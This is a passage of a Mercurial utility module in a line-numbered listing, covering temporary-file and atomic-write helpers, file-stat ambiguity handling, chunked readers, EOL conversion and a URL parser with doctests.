1922 1921 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1923 1922
1924 1923 def splitpath(path):
1925 1924 '''Split path by os.sep.
1926 1925 Note that this function does not use os.altsep because this is
1927 1926 an alternative of simple "xxx.split(os.sep)".
1928 1927 It is recommended to use os.path.normpath() before using this
1929 1928 function if need.'''
1930 1929 return path.split(pycompat.ossep)
1931 1930
1932 1931 def mktempcopy(name, emptyok=False, createmode=None):
1933 1932 """Create a temporary file with the same contents from name
1934 1933
1935 1934 The permission bits are copied from the original file.
1936 1935
1937 1936 If the temporary file is going to be truncated immediately, you
1938 1937 can use emptyok=True as an optimization.
1939 1938
1940 1939 Returns the name of the temporary file.
1941 1940 """
1942 1941 d, fn = os.path.split(name)
1943 1942 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1944 1943 os.close(fd)
1945 1944 # Temporary files are created with mode 0600, which is usually not
1946 1945 # what we want. If the original file already exists, just copy
1947 1946 # its mode. Otherwise, manually obey umask.
1948 1947 copymode(name, temp, createmode)
1949 1948 if emptyok:
1950 1949 return temp
1951 1950 try:
1952 1951 try:
1953 1952 ifp = posixfile(name, "rb")
1954 1953 except IOError as inst:
1955 1954 if inst.errno == errno.ENOENT:
1956 1955 return temp
1957 1956 if not getattr(inst, 'filename', None):
1958 1957 inst.filename = name
1959 1958 raise
1960 1959 ofp = posixfile(temp, "wb")
1961 1960 for chunk in filechunkiter(ifp):
1962 1961 ofp.write(chunk)
1963 1962 ifp.close()
1964 1963 ofp.close()
1965 1964 except: # re-raises
1966 1965 try:
1967 1966 os.unlink(temp)
1968 1967 except OSError:
1969 1968 pass
1970 1969 raise
1971 1970 return temp
1972 1971
1973 1972 class filestat(object):
1974 1973 """help to exactly detect change of a file
1975 1974
1976 1975 'stat' attribute is result of 'os.stat()' if specified 'path'
1977 1976 exists. Otherwise, it is None. This can avoid preparative
1978 1977 'exists()' examination on client side of this class.
1979 1978 """
1980 1979 def __init__(self, stat):
1981 1980 self.stat = stat
1982 1981
1983 1982 @classmethod
1984 1983 def frompath(cls, path):
1985 1984 try:
1986 1985 stat = os.stat(path)
1987 1986 except OSError as err:
1988 1987 if err.errno != errno.ENOENT:
1989 1988 raise
1990 1989 stat = None
1991 1990 return cls(stat)
1992 1991
1993 1992 @classmethod
1994 1993 def fromfp(cls, fp):
1995 1994 stat = os.fstat(fp.fileno())
1996 1995 return cls(stat)
1997 1996
1998 1997 __hash__ = object.__hash__
1999 1998
2000 1999 def __eq__(self, old):
2001 2000 try:
2002 2001 # if ambiguity between stat of new and old file is
2003 2002 # avoided, comparison of size, ctime and mtime is enough
2004 2003 # to exactly detect change of a file regardless of platform
2005 2004 return (self.stat.st_size == old.stat.st_size and
2006 2005 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2007 2006 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2008 2007 except AttributeError:
2009 2008 pass
2010 2009 try:
2011 2010 return self.stat is None and old.stat is None
2012 2011 except AttributeError:
2013 2012 return False
2014 2013
2015 2014 def isambig(self, old):
2016 2015 """Examine whether new (= self) stat is ambiguous against old one
2017 2016
2018 2017 "S[N]" below means stat of a file at N-th change:
2019 2018
2020 2019 - S[n-1].ctime < S[n].ctime: can detect change of a file
2021 2020 - S[n-1].ctime == S[n].ctime
2022 2021 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2023 2022 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2024 2023 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2025 2024 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2026 2025
2027 2026 Case (*2) above means that a file was changed twice or more at
2028 2027 same time in sec (= S[n-1].ctime), and comparison of timestamp
2029 2028 is ambiguous.
2030 2029
2031 2030 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2032 2031 timestamp is ambiguous".
2033 2032
2034 2033 But advancing mtime only in case (*2) doesn't work as
2035 2034 expected, because naturally advanced S[n].mtime in case (*1)
2036 2035 might be equal to manually advanced S[n-1 or earlier].mtime.
2037 2036
2038 2037 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2039 2038 treated as ambiguous regardless of mtime, to avoid overlooking
2040 2039 by confliction between such mtime.
2041 2040
2042 2041 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2043 2042 S[n].mtime", even if size of a file isn't changed.
2044 2043 """
2045 2044 try:
2046 2045 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2047 2046 except AttributeError:
2048 2047 return False
2049 2048
2050 2049 def avoidambig(self, path, old):
2051 2050 """Change file stat of specified path to avoid ambiguity
2052 2051
2053 2052 'old' should be previous filestat of 'path'.
2054 2053
2055 2054 This skips avoiding ambiguity, if a process doesn't have
2056 2055 appropriate privileges for 'path'. This returns False in this
2057 2056 case.
2058 2057
2059 2058 Otherwise, this returns True, as "ambiguity is avoided".
2060 2059 """
2061 2060 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2062 2061 try:
2063 2062 os.utime(path, (advanced, advanced))
2064 2063 except OSError as inst:
2065 2064 if inst.errno == errno.EPERM:
2066 2065 # utime() on the file created by another user causes EPERM,
2067 2066 # if a process doesn't have appropriate privileges
2068 2067 return False
2069 2068 raise
2070 2069 return True
2071 2070
2072 2071 def __ne__(self, other):
2073 2072 return not self == other
2074 2073
2075 2074 class atomictempfile(object):
2076 2075 '''writable file object that atomically updates a file
2077 2076
2078 2077 All writes will go to a temporary copy of the original file. Call
2079 2078 close() when you are done writing, and atomictempfile will rename
2080 2079 the temporary copy to the original name, making the changes
2081 2080 visible. If the object is destroyed without being closed, all your
2082 2081 writes are discarded.
2083 2082
2084 2083 checkambig argument of constructor is used with filestat, and is
2085 2084 useful only if target file is guarded by any lock (e.g. repo.lock
2086 2085 or repo.wlock).
2087 2086 '''
2088 2087 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2089 2088 self.__name = name # permanent name
2090 2089 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2091 2090 createmode=createmode)
2092 2091 self._fp = posixfile(self._tempname, mode)
2093 2092 self._checkambig = checkambig
2094 2093
2095 2094 # delegated methods
2096 2095 self.read = self._fp.read
2097 2096 self.write = self._fp.write
2098 2097 self.seek = self._fp.seek
2099 2098 self.tell = self._fp.tell
2100 2099 self.fileno = self._fp.fileno
2101 2100
2102 2101 def close(self):
2103 2102 if not self._fp.closed:
2104 2103 self._fp.close()
2105 2104 filename = localpath(self.__name)
2106 2105 oldstat = self._checkambig and filestat.frompath(filename)
2107 2106 if oldstat and oldstat.stat:
2108 2107 rename(self._tempname, filename)
2109 2108 newstat = filestat.frompath(filename)
2110 2109 if newstat.isambig(oldstat):
2111 2110 # stat of changed file is ambiguous to original one
2112 2111 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2113 2112 os.utime(filename, (advanced, advanced))
2114 2113 else:
2115 2114 rename(self._tempname, filename)
2116 2115
2117 2116 def discard(self):
2118 2117 if not self._fp.closed:
2119 2118 try:
2120 2119 os.unlink(self._tempname)
2121 2120 except OSError:
2122 2121 pass
2123 2122 self._fp.close()
2124 2123
2125 2124 def __del__(self):
2126 2125 if safehasattr(self, '_fp'): # constructor actually did something
2127 2126 self.discard()
2128 2127
2129 2128 def __enter__(self):
2130 2129 return self
2131 2130
2132 2131 def __exit__(self, exctype, excvalue, traceback):
2133 2132 if exctype is not None:
2134 2133 self.discard()
2135 2134 else:
2136 2135 self.close()
2137 2136
2138 2137 def unlinkpath(f, ignoremissing=False):
2139 2138 """unlink and remove the directory if it is empty"""
2140 2139 if ignoremissing:
2141 2140 tryunlink(f)
2142 2141 else:
2143 2142 unlink(f)
2144 2143 # try removing directories that might now be empty
2145 2144 try:
2146 2145 removedirs(os.path.dirname(f))
2147 2146 except OSError:
2148 2147 pass
2149 2148
2150 2149 def tryunlink(f):
2151 2150 """Attempt to remove a file, ignoring ENOENT errors."""
2152 2151 try:
2153 2152 unlink(f)
2154 2153 except OSError as e:
2155 2154 if e.errno != errno.ENOENT:
2156 2155 raise
2157 2156
2158 2157 def makedirs(name, mode=None, notindexed=False):
2159 2158 """recursive directory creation with parent mode inheritance
2160 2159
2161 2160 Newly created directories are marked as "not to be indexed by
2162 2161 the content indexing service", if ``notindexed`` is specified
2163 2162 for "write" mode access.
2164 2163 """
2165 2164 try:
2166 2165 makedir(name, notindexed)
2167 2166 except OSError as err:
2168 2167 if err.errno == errno.EEXIST:
2169 2168 return
2170 2169 if err.errno != errno.ENOENT or not name:
2171 2170 raise
2172 2171 parent = os.path.dirname(os.path.abspath(name))
2173 2172 if parent == name:
2174 2173 raise
2175 2174 makedirs(parent, mode, notindexed)
2176 2175 try:
2177 2176 makedir(name, notindexed)
2178 2177 except OSError as err:
2179 2178 # Catch EEXIST to handle races
2180 2179 if err.errno == errno.EEXIST:
2181 2180 return
2182 2181 raise
2183 2182 if mode is not None:
2184 2183 os.chmod(name, mode)
2185 2184
2186 2185 def readfile(path):
2187 2186 with open(path, 'rb') as fp:
2188 2187 return fp.read()
2189 2188
2190 2189 def writefile(path, text):
2191 2190 with open(path, 'wb') as fp:
2192 2191 fp.write(text)
2193 2192
2194 2193 def appendfile(path, text):
2195 2194 with open(path, 'ab') as fp:
2196 2195 fp.write(text)
2197 2196
2198 2197 class chunkbuffer(object):
2199 2198 """Allow arbitrary sized chunks of data to be efficiently read from an
2200 2199 iterator over chunks of arbitrary size."""
2201 2200
2202 2201 def __init__(self, in_iter):
2203 2202 """in_iter is the iterator that's iterating over the input chunks."""
2204 2203 def splitbig(chunks):
2205 2204 for chunk in chunks:
2206 2205 if len(chunk) > 2**20:
2207 2206 pos = 0
2208 2207 while pos < len(chunk):
2209 2208 end = pos + 2 ** 18
2210 2209 yield chunk[pos:end]
2211 2210 pos = end
2212 2211 else:
2213 2212 yield chunk
2214 2213 self.iter = splitbig(in_iter)
2215 2214 self._queue = collections.deque()
2216 2215 self._chunkoffset = 0
2217 2216
2218 2217 def read(self, l=None):
2219 2218 """Read L bytes of data from the iterator of chunks of data.
2220 2219 Returns less than L bytes if the iterator runs dry.
2221 2220
2222 2221 If size parameter is omitted, read everything"""
2223 2222 if l is None:
2224 2223 return ''.join(self.iter)
2225 2224
2226 2225 left = l
2227 2226 buf = []
2228 2227 queue = self._queue
2229 2228 while left > 0:
2230 2229 # refill the queue
2231 2230 if not queue:
2232 2231 target = 2**18
2233 2232 for chunk in self.iter:
2234 2233 queue.append(chunk)
2235 2234 target -= len(chunk)
2236 2235 if target <= 0:
2237 2236 break
2238 2237 if not queue:
2239 2238 break
2240 2239
2241 2240 # The easy way to do this would be to queue.popleft(), modify the
2242 2241 # chunk (if necessary), then queue.appendleft(). However, for cases
2243 2242 # where we read partial chunk content, this incurs 2 dequeue
2244 2243 # mutations and creates a new str for the remaining chunk in the
2245 2244 # queue. Our code below avoids this overhead.
2246 2245
2247 2246 chunk = queue[0]
2248 2247 chunkl = len(chunk)
2249 2248 offset = self._chunkoffset
2250 2249
2251 2250 # Use full chunk.
2252 2251 if offset == 0 and left >= chunkl:
2253 2252 left -= chunkl
2254 2253 queue.popleft()
2255 2254 buf.append(chunk)
2256 2255 # self._chunkoffset remains at 0.
2257 2256 continue
2258 2257
2259 2258 chunkremaining = chunkl - offset
2260 2259
2261 2260 # Use all of unconsumed part of chunk.
2262 2261 if left >= chunkremaining:
2263 2262 left -= chunkremaining
2264 2263 queue.popleft()
2265 2264 # offset == 0 is enabled by block above, so this won't merely
2266 2265 # copy via ``chunk[0:]``.
2267 2266 buf.append(chunk[offset:])
2268 2267 self._chunkoffset = 0
2269 2268
2270 2269 # Partial chunk needed.
2271 2270 else:
2272 2271 buf.append(chunk[offset:offset + left])
2273 2272 self._chunkoffset += left
2274 2273 left -= chunkremaining
2275 2274
2276 2275 return ''.join(buf)
2277 2276
2278 2277 def filechunkiter(f, size=131072, limit=None):
2279 2278 """Create a generator that produces the data in the file size
2280 2279 (default 131072) bytes at a time, up to optional limit (default is
2281 2280 to read all data). Chunks may be less than size bytes if the
2282 2281 chunk is the last chunk in the file, or the file is a socket or
2283 2282 some other type of file that sometimes reads less data than is
2284 2283 requested."""
2285 2284 assert size >= 0
2286 2285 assert limit is None or limit >= 0
2287 2286 while True:
2288 2287 if limit is None:
2289 2288 nbytes = size
2290 2289 else:
2291 2290 nbytes = min(limit, size)
2292 2291 s = nbytes and f.read(nbytes)
2293 2292 if not s:
2294 2293 break
2295 2294 if limit:
2296 2295 limit -= len(s)
2297 2296 yield s
2298 2297
2299 2298 class cappedreader(object):
2300 2299 """A file object proxy that allows reading up to N bytes.
2301 2300
2302 2301 Given a source file object, instances of this type allow reading up to
2303 2302 N bytes from that source file object. Attempts to read past the allowed
2304 2303 limit are treated as EOF.
2305 2304
2306 2305 It is assumed that I/O is not performed on the original file object
2307 2306 in addition to I/O that is performed by this instance. If there is,
2308 2307 state tracking will get out of sync and unexpected results will ensue.
2309 2308 """
2310 2309 def __init__(self, fh, limit):
2311 2310 """Allow reading up to <limit> bytes from <fh>."""
2312 2311 self._fh = fh
2313 2312 self._left = limit
2314 2313
2315 2314 def read(self, n=-1):
2316 2315 if not self._left:
2317 2316 return b''
2318 2317
2319 2318 if n < 0:
2320 2319 n = self._left
2321 2320
2322 2321 data = self._fh.read(min(n, self._left))
2323 2322 self._left -= len(data)
2324 2323 assert self._left >= 0
2325 2324
2326 2325 return data
2327 2326
2328 2327 def readinto(self, b):
2329 2328 res = self.read(len(b))
2330 2329 if res is None:
2331 2330 return None
2332 2331
2333 2332 b[0:len(res)] = res
2334 2333 return len(res)
2335 2334
2336 2335 def unitcountfn(*unittable):
2337 2336 '''return a function that renders a readable count of some quantity'''
2338 2337
2339 2338 def go(count):
2340 2339 for multiplier, divisor, format in unittable:
2341 2340 if abs(count) >= divisor * multiplier:
2342 2341 return format % (count / float(divisor))
2343 2342 return unittable[-1][2] % count
2344 2343
2345 2344 return go
2346 2345
2347 2346 def processlinerange(fromline, toline):
2348 2347 """Check that linerange <fromline>:<toline> makes sense and return a
2349 2348 0-based range.
2350 2349
2351 2350 >>> processlinerange(10, 20)
2352 2351 (9, 20)
2353 2352 >>> processlinerange(2, 1)
2354 2353 Traceback (most recent call last):
2355 2354 ...
2356 2355 ParseError: line range must be positive
2357 2356 >>> processlinerange(0, 5)
2358 2357 Traceback (most recent call last):
2359 2358 ...
2360 2359 ParseError: fromline must be strictly positive
2361 2360 """
2362 2361 if toline - fromline < 0:
2363 2362 raise error.ParseError(_("line range must be positive"))
2364 2363 if fromline < 1:
2365 2364 raise error.ParseError(_("fromline must be strictly positive"))
2366 2365 return fromline - 1, toline
2367 2366
2368 2367 bytecount = unitcountfn(
2369 2368 (100, 1 << 30, _('%.0f GB')),
2370 2369 (10, 1 << 30, _('%.1f GB')),
2371 2370 (1, 1 << 30, _('%.2f GB')),
2372 2371 (100, 1 << 20, _('%.0f MB')),
2373 2372 (10, 1 << 20, _('%.1f MB')),
2374 2373 (1, 1 << 20, _('%.2f MB')),
2375 2374 (100, 1 << 10, _('%.0f KB')),
2376 2375 (10, 1 << 10, _('%.1f KB')),
2377 2376 (1, 1 << 10, _('%.2f KB')),
2378 2377 (1, 1, _('%.0f bytes')),
2379 2378 )
2380 2379
2381 2380 class transformingwriter(object):
2382 2381 """Writable file wrapper to transform data by function"""
2383 2382
2384 2383 def __init__(self, fp, encode):
2385 2384 self._fp = fp
2386 2385 self._encode = encode
2387 2386
2388 2387 def close(self):
2389 2388 self._fp.close()
2390 2389
2391 2390 def flush(self):
2392 2391 self._fp.flush()
2393 2392
2394 2393 def write(self, data):
2395 2394 return self._fp.write(self._encode(data))
2396 2395
2397 2396 # Matches a single EOL which can either be a CRLF where repeated CR
2398 2397 # are removed or a LF. We do not care about old Macintosh files, so a
2399 2398 # stray CR is an error.
2400 2399 _eolre = remod.compile(br'\r*\n')
2401 2400
2402 2401 def tolf(s):
2403 2402 return _eolre.sub('\n', s)
2404 2403
2405 2404 def tocrlf(s):
2406 2405 return _eolre.sub('\r\n', s)
2407 2406
2408 2407 def _crlfwriter(fp):
2409 2408 return transformingwriter(fp, tocrlf)
2410 2409
2411 2410 if pycompat.oslinesep == '\r\n':
2412 2411 tonativeeol = tocrlf
2413 2412 fromnativeeol = tolf
2414 2413 nativeeolwriter = _crlfwriter
2415 2414 else:
2416 2415 tonativeeol = pycompat.identity
2417 2416 fromnativeeol = pycompat.identity
2418 2417 nativeeolwriter = pycompat.identity
2419 2418
2420 2419 if (pyplatform.python_implementation() == 'CPython' and
2421 2420 sys.version_info < (3, 0)):
2422 2421 # There is an issue in CPython that some IO methods do not handle EINTR
2423 2422 # correctly. The following table shows what CPython version (and functions)
2424 2423 # are affected (buggy: has the EINTR bug, okay: otherwise):
2425 2424 #
2426 2425 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2427 2426 # --------------------------------------------------
2428 2427 # fp.__iter__ | buggy | buggy | okay
2429 2428 # fp.read* | buggy | okay [1] | okay
2430 2429 #
2431 2430 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2432 2431 #
2433 2432 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2434 2433 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2435 2434 #
2436 2435 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2437 2436 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2438 2437 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2439 2438 # fp.__iter__ but not other fp.read* methods.
2440 2439 #
2441 2440 # On modern systems like Linux, the "read" syscall cannot be interrupted
2442 2441 # when reading "fast" files like on-disk files. So the EINTR issue only
2443 2442 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2444 2443 # files approximately as "fast" files and use the fast (unsafe) code path,
2445 2444 # to minimize the performance impact.
2446 2445 if sys.version_info >= (2, 7, 4):
2447 2446 # fp.readline deals with EINTR correctly, use it as a workaround.
2448 2447 def _safeiterfile(fp):
2449 2448 return iter(fp.readline, '')
2450 2449 else:
2451 2450 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2452 2451 # note: this may block longer than necessary because of bufsize.
2453 2452 def _safeiterfile(fp, bufsize=4096):
2454 2453 fd = fp.fileno()
2455 2454 line = ''
2456 2455 while True:
2457 2456 try:
2458 2457 buf = os.read(fd, bufsize)
2459 2458 except OSError as ex:
2460 2459 # os.read only raises EINTR before any data is read
2461 2460 if ex.errno == errno.EINTR:
2462 2461 continue
2463 2462 else:
2464 2463 raise
2465 2464 line += buf
2466 2465 if '\n' in buf:
2467 2466 splitted = line.splitlines(True)
2468 2467 line = ''
2469 2468 for l in splitted:
2470 2469 if l[-1] == '\n':
2471 2470 yield l
2472 2471 else:
2473 2472 line = l
2474 2473 if not buf:
2475 2474 break
2476 2475 if line:
2477 2476 yield line
2478 2477
2479 2478 def iterfile(fp):
2480 2479 fastpath = True
2481 2480 if type(fp) is file:
2482 2481 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2483 2482 if fastpath:
2484 2483 return fp
2485 2484 else:
2486 2485 return _safeiterfile(fp)
2487 2486 else:
2488 2487 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2489 2488 def iterfile(fp):
2490 2489 return fp
2491 2490
2492 2491 def iterlines(iterator):
2493 2492 for chunk in iterator:
2494 2493 for line in chunk.splitlines():
2495 2494 yield line
2496 2495
2497 2496 def expandpath(path):
2498 2497 return os.path.expanduser(os.path.expandvars(path))
2499 2498
2500 2499 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2501 2500 """Return the result of interpolating items in the mapping into string s.
2502 2501
2503 2502 prefix is a single character string, or a two character string with
2504 2503 a backslash as the first character if the prefix needs to be escaped in
2505 2504 a regular expression.
2506 2505
2507 2506 fn is an optional function that will be applied to the replacement text
2508 2507 just before replacement.
2509 2508
2510 2509 escape_prefix is an optional flag that allows using doubled prefix for
2511 2510 its escaping.
2512 2511 """
2513 2512 fn = fn or (lambda s: s)
2514 2513 patterns = '|'.join(mapping.keys())
2515 2514 if escape_prefix:
2516 2515 patterns += '|' + prefix
2517 2516 if len(prefix) > 1:
2518 2517 prefix_char = prefix[1:]
2519 2518 else:
2520 2519 prefix_char = prefix
2521 2520 mapping[prefix_char] = prefix_char
2522 2521 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2523 2522 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2524 2523
2525 2524 def getport(port):
2526 2525 """Return the port for a given network service.
2527 2526
2528 2527 If port is an integer, it's returned as is. If it's a string, it's
2529 2528 looked up using socket.getservbyname(). If there's no matching
2530 2529 service, error.Abort is raised.
2531 2530 """
2532 2531 try:
2533 2532 return int(port)
2534 2533 except ValueError:
2535 2534 pass
2536 2535
2537 2536 try:
2538 2537 return socket.getservbyname(pycompat.sysstr(port))
2539 2538 except socket.error:
2540 2539 raise error.Abort(_("no port number associated with service '%s'")
2541 2540 % port)
2542 2541
2543 2542 class url(object):
2544 2543 r"""Reliable URL parser.
2545 2544
2546 2545 This parses URLs and provides attributes for the following
2547 2546 components:
2548 2547
2549 2548 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2550 2549
2551 2550 Missing components are set to None. The only exception is
2552 2551 fragment, which is set to '' if present but empty.
2553 2552
2554 2553 If parsefragment is False, fragment is included in query. If
2555 2554 parsequery is False, query is included in path. If both are
2556 2555 False, both fragment and query are included in path.
2557 2556
2558 2557 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2559 2558
2560 2559 Note that for backward compatibility reasons, bundle URLs do not
2561 2560 take host names. That means 'bundle://../' has a path of '../'.
2562 2561
2563 2562 Examples:
2564 2563
2565 2564 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2566 2565 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2567 2566 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2568 2567 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2569 2568 >>> url(b'file:///home/joe/repo')
2570 2569 <url scheme: 'file', path: '/home/joe/repo'>
2571 2570 >>> url(b'file:///c:/temp/foo/')
2572 2571 <url scheme: 'file', path: 'c:/temp/foo/'>
2573 2572 >>> url(b'bundle:foo')
2574 2573 <url scheme: 'bundle', path: 'foo'>
2575 2574 >>> url(b'bundle://../foo')
2576 2575 <url scheme: 'bundle', path: '../foo'>
2577 2576 >>> url(br'c:\foo\bar')
2578 2577 <url path: 'c:\\foo\\bar'>
2579 2578 >>> url(br'\\blah\blah\blah')
2580 2579 <url path: '\\\\blah\\blah\\blah'>
2581 2580 >>> url(br'\\blah\blah\blah#baz')
2582 2581 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2583 2582 >>> url(br'file:///C:\users\me')
2584 2583 <url scheme: 'file', path: 'C:\\users\\me'>
2585 2584
2586 2585 Authentication credentials:
2587 2586
2588 2587 >>> url(b'ssh://joe:xyz@x/repo')
2589 2588 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2590 2589 >>> url(b'ssh://joe@x/repo')
2591 2590 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2592 2591
2593 2592 Query strings and fragments:
2594 2593
2595 2594 >>> url(b'http://host/a?b#c')
2596 2595 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2597 2596 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2598 2597 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2599 2598
2600 2599 Empty path:
2601 2600
2602 2601 >>> url(b'')
2603 2602 <url path: ''>
2604 2603 >>> url(b'#a')
2605 2604 <url path: '', fragment: 'a'>
2606 2605 >>> url(b'http://host/')
2607 2606 <url scheme: 'http', host: 'host', path: ''>
2608 2607 >>> url(b'http://host/#a')
2609 2608 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2610 2609
2611 2610 Only scheme:
2612 2611
2613 2612 >>> url(b'http:')
2614 2613 <url scheme: 'http'>
2615 2614 """
2616 2615
2617 2616 _safechars = "!~*'()+"
2618 2617 _safepchars = "/!~*'()+:\\"
2619 2618 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2620 2619
2621 2620 def __init__(self, path, parsequery=True, parsefragment=True):
2622 2621 # We slowly chomp away at path until we have only the path left
2623 2622 self.scheme = self.user = self.passwd = self.host = None
2624 2623 self.port = self.path = self.query = self.fragment = None
2625 2624 self._localpath = True
2626 2625 self._hostport = ''
2627 2626 self._origpath = path
2628 2627
2629 2628 if parsefragment and '#' in path:
2630 2629 path, self.fragment = path.split('#', 1)
2631 2630
2632 2631 # special case for Windows drive letters and UNC paths
2633 2632 if hasdriveletter(path) or path.startswith('\\\\'):
2634 2633 self.path = path
2635 2634 return
2636 2635
2637 2636 # For compatibility reasons, we can't handle bundle paths as
2638 2637 # normal URLS
2639 2638 if path.startswith('bundle:'):
2640 2639 self.scheme = 'bundle'
2641 2640 path = path[7:]
2642 2641 if path.startswith('//'):
2643 2642 path = path[2:]
2644 2643 self.path = path
2645 2644 return
2646 2645
2647 2646 if self._matchscheme(path):
2648 2647 parts = path.split(':', 1)
2649 2648 if parts[0]:
2650 2649 self.scheme, path = parts
2651 2650 self._localpath = False
2652 2651
2653 2652 if not path:
2654 2653 path = None
2655 2654 if self._localpath:
2656 2655 self.path = ''
2657 2656 return
2658 2657 else:
2659 2658 if self._localpath:
2660 2659 self.path = path
2661 2660 return
2662 2661
2663 2662 if parsequery and '?' in path:
2664 2663 path, self.query = path.split('?', 1)
2665 2664 if not path:
2666 2665 path = None
2667 2666 if not self.query:
2668 2667 self.query = None
2669 2668
2670 2669 # // is required to specify a host/authority
2671 2670 if path and path.startswith('//'):
2672 2671 parts = path[2:].split('/', 1)
2673 2672 if len(parts) > 1:
2674 2673 self.host, path = parts
2675 2674 else:
2676 2675 self.host = parts[0]
2677 2676 path = None
2678 2677 if not self.host:
2679 2678 self.host = None
2680 2679 # path of file:///d is /d
2681 2680 # path of file:///d:/ is d:/, not /d:/
2682 2681 if path and not hasdriveletter(path):
2683 2682 path = '/' + path
2684 2683
2685 2684 if self.host and '@' in self.host:
2686 2685 self.user, self.host = self.host.rsplit('@', 1)
2687 2686 if ':' in self.user:
2688 2687 self.user, self.passwd = self.user.split(':', 1)
2689 2688 if not self.host:
2690 2689 self.host = None
2691 2690
2692 2691 # Don't split on colons in IPv6 addresses without ports
2693 2692 if (self.host and ':' in self.host and
2694 2693 not (self.host.startswith('[') and self.host.endswith(']'))):
2695 2694 self._hostport = self.host
2696 2695 self.host, self.port = self.host.rsplit(':', 1)
2697 2696 if not self.host:
2698 2697 self.host = None
2699 2698
2700 2699 if (self.host and self.scheme == 'file' and
2701 2700 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2702 2701 raise error.Abort(_('file:// URLs can only refer to localhost'))
2703 2702
2704 2703 self.path = path
2705 2704
2706 2705 # leave the query string escaped
2707 2706 for a in ('user', 'passwd', 'host', 'port',
2708 2707 'path', 'fragment'):
2709 2708 v = getattr(self, a)
2710 2709 if v is not None:
2711 2710 setattr(self, a, urlreq.unquote(v))
2712 2711
2713 2712 @encoding.strmethod
2714 2713 def __repr__(self):
2715 2714 attrs = []
2716 2715 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2717 2716 'query', 'fragment'):
2718 2717 v = getattr(self, a)
2719 2718 if v is not None:
2720 2719 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2721 2720 return '<url %s>' % ', '.join(attrs)
2722 2721
2723 2722 def __bytes__(self):
2724 2723 r"""Join the URL's components back into a URL string.
2725 2724
2726 2725 Examples:
2727 2726
2728 2727 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2729 2728 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2730 2729 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2731 2730 'http://user:pw@host:80/?foo=bar&baz=42'
2732 2731 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2733 2732 'http://user:pw@host:80/?foo=bar%3dbaz'
2734 2733 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2735 2734 'ssh://user:pw@[::1]:2200//home/joe#'
2736 2735 >>> bytes(url(b'http://localhost:80//'))
2737 2736 'http://localhost:80//'
2738 2737 >>> bytes(url(b'http://localhost:80/'))
2739 2738 'http://localhost:80/'
2740 2739 >>> bytes(url(b'http://localhost:80'))
2741 2740 'http://localhost:80/'
2742 2741 >>> bytes(url(b'bundle:foo'))
2743 2742 'bundle:foo'
2744 2743 >>> bytes(url(b'bundle://../foo'))
2745 2744 'bundle:../foo'
2746 2745 >>> bytes(url(b'path'))
2747 2746 'path'
2748 2747 >>> bytes(url(b'file:///tmp/foo/bar'))
2749 2748 'file:///tmp/foo/bar'
2750 2749 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2751 2750 'file:///c:/tmp/foo/bar'
2752 2751 >>> print(url(br'bundle:foo\bar'))
2753 2752 bundle:foo\bar
2754 2753 >>> print(url(br'file:///D:\data\hg'))
2755 2754 file:///D:\data\hg
2756 2755 """
2757 2756 if self._localpath:
2758 2757 s = self.path
2759 2758 if self.scheme == 'bundle':
2760 2759 s = 'bundle:' + s
2761 2760 if self.fragment:
2762 2761 s += '#' + self.fragment
2763 2762 return s
2764 2763
2765 2764 s = self.scheme + ':'
2766 2765 if self.user or self.passwd or self.host:
2767 2766 s += '//'
